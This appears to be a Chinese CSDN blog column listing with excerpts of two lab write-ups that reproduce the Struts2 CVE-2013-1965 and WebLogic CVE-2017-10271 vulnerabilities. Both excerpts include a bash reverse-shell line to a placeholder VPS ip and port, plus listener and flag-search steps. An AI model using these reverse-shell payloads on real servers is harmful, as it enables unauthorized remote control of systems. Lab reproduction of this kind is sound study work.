![](https://img-blog.csdnimg.cn/20201014180756925.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
网安漏洞复现
九号帆船
偶尔写写
展开
-
struts2 命令执行(CVE-2013-1965)
其中的"bash -i >%26 /dev/tcp/ip/port 0>%261"中的ip指的是vps的地址,port指的是你开启的监听端口。3:开启监听端口(我这里开启8888)并发送burpsuite中的重发器内容,若出现500状态码则是发送成功。小tips:如果你的监听一直失败:可能是你的监听没有打开,你需要在你的vps服务器上打开你的所有端口。输入指令:find / -name flag*即可得到flag。payload参考的是csdn的一位大佬的笔记。一:工具:burpsuite、vps服务器。原创 2024-04-07 20:58:10 · 369 阅读 · 3 评论 -
weblogic cve-2017-10271漏洞复现(vulfocus)
此处的bash -i >& /dev/tcp/ip/port 0>&1中的ip为你的vps服务器的地址,port为你开启监听的端口(我这里开启监听的端口是8888)小tips:如果你的监听一直失败:可能是你的监听没有打开,你需要在你的vps服务器上打开你的所有端口。(指令:find / -name flag*)温馨提示:要先开启监听端口在进行burpsuite反向shell发送。4:开启远程监听(我这里使用的是8888端口开启监听)并获得权限。一:工具:burpsuite、vps服务器。原创 2024-04-07 20:31:00 · 363 阅读 · 2 评论